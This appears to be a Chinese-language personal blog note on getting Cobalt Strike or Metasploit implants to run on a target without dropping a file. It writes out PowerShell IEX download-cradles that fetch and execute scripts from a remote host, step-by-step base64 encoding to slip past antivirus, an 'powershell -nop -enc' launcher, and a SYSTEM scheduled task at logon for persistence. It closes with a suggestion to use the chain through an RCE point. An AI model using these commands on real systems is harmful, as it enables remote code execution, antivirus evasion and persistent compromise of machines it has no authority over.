介绍
该笔记是一年多以前记录的,偶然在电脑的一个txt文件里面发现了,顺带就整理了一下写在这里,偶尔可能也会用用。
切勿用于非法用途!
正常测试
使用该方式需要将生成的文件上传到目标上,如果目标上存在杀软的话,可能会导致文件被杀从而无法落地。
首先在cs上面随意生成一个exe,并在测试机器上测试能否正常上线(该测试未附带免杀效果,建议内网测试并将特定文件夹添加白名单并将exe放置于白名单目录),MSF同理。开始测试步骤:
利用cs生成测试文件
2. 将测试文件置于测试机中,并运行测试是否正常上线;这里测试的时候未正常上线,检查了Listeners发现80端口未正常监听,重启了监听器后正常上线了。
无文件方式测试
Powershell混淆
Powershell的远程加载模块是通过IEX函数实现,但是如果目标机器上面安装了杀毒软件的情况,多数情况下会拦截IEX函数,所以我们通过Powershell混淆方式,对Powershell的指令进行编码混淆,并调用远程加载模块,从远端服务器下载文件到机器内存中执行,实现无文件落地,从而使目标机器上线。
正常的powershell远端加载文件到内存中执行的命令如下:
powershell IEX (New-Object Net.Webclient).downloadstring("http://192.168.10.10:8080/xx.ps1")
我将这个在我物理机安装了火绒的机器上面进行测试,可以看到直接被拦截:
虽然不知道现在还能不能成功,但是还是记录一下,万一最终还是被拦截,就当是我复习一下功课了。
对Powershel命令进行编码混淆,命令的特征:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://x.x.x.x/x.ps1')"
//其中iex(New-Object Net.WebClient).DownloadString('http://x.x.x.x/x.ps1')是需要编码混淆的。
混淆的步骤
将需要编码混淆的部分提取出来,放置于一个独立的txt文件之中,且txt文件**不能**存放于带有中文目录的位置。嗯,我还说测试远端下载exe在内存中执行,发现只能远端加载ps1文件才能上线。那就正常用加载ps1文件测试吧。
将如下内容存为一个独立txt文件,自己视情况修改。
"iex(New-Object Net.WebClient).DownloadString('http://192.168.10.10:8080/pstest.ps1')"
> //注意双引号也要带上,但是不要带上我这句话。
2. 在Powershell中按提示执行下述命令。
$File1 = "E:\TEST\pst\1.txt" //上一步骤中txt的文件位置,
$Content1 = get-content $File1 //执行顺序2
$Bytes = [System.Text.Encoding]::UTF8.GetBytes($Content1) //跳过
$Bytes = [System.Text.Encoding]::gbk.GetBytes($Content1) //跳过
$Bytes = [System.Text.Encoding]::unicode.GetBytes($Content1) //执行顺序3
$Encoded = [System.Convert]::ToBase64String($Bytes) //执行顺序4
#$Encoded | set-content ($File1 + ".b64") //跳过
Write-Host "ENCODED: " $Encoded //执行顺序5
//上述可以在自己本机本地编码后复制到远端机器执行也行哈。
执行完上述命令后,窗口会将编码后的内容返回,这时候将内容进行复制保存。
4. 获取到编码后的内容后,可以调用Powershell的解码函数,将内容进行解码执行。并测试是否正常上线。
powershell -nop -enc 编码内容
5. 嗯火爸爸还是要拦截,没办法喽。
注意事项
需要编码混淆的指令需要独立保存在一个文本文件中,且需要保存到纯英文目录下。
因为正常情况下Powershell调用IEX函数是需要加上双引号的,但是由于我们编码的时候也把双引号编码了,所以执行的时候就不需要添加双引号了。
还有个问题就是,编码的内容不要太长,太长了会报错,是因为操作命令行参数要超出限制,简而言之就是要短,但是其他函数是固定的,所以能精简的只有远端的访问地址。远端地址如果能写成:http://192.168.10.10:8080/pstest.ps1
就绝对不要写成:http://192.168.10.10:8080/eieiei/hahaha/lalal/pstest.ps1
适用场景
目标机器存在杀软但是不拦截Powershell命令的情况下可以使用。
想要实现无文件落地形式,不想送样本的情况。
但是这个有个弊端,如果是在目标机器上执行的话,cmd窗口一关闭机器就会掉线。所以有效的方式是创建一个bat脚本,通过start /b xx.bat的方式执行。(嗯,又试了,好像这样也不行)。网络上有powershell隐藏不显示窗口的方法,但是对于这种情况我看好像不是很适用,因为还涉及到修改运行规则等。
如何使用
可利用计划任务方式创建计划任务执行该Powershell命令。
schtasks /create /tn power /tr "powershell -nop -enc 编码后内容" /sc ONLOGON /ru system
// 这是在用户登录后执行该计划任务,也可以改为1分钟执行一次或者其他,因为我记不住怎么写的,这是我笔记本里面自带的,所以就贴出来了。
如果RCE点权限够高,也不拦截命令的话也可以直接搞上来。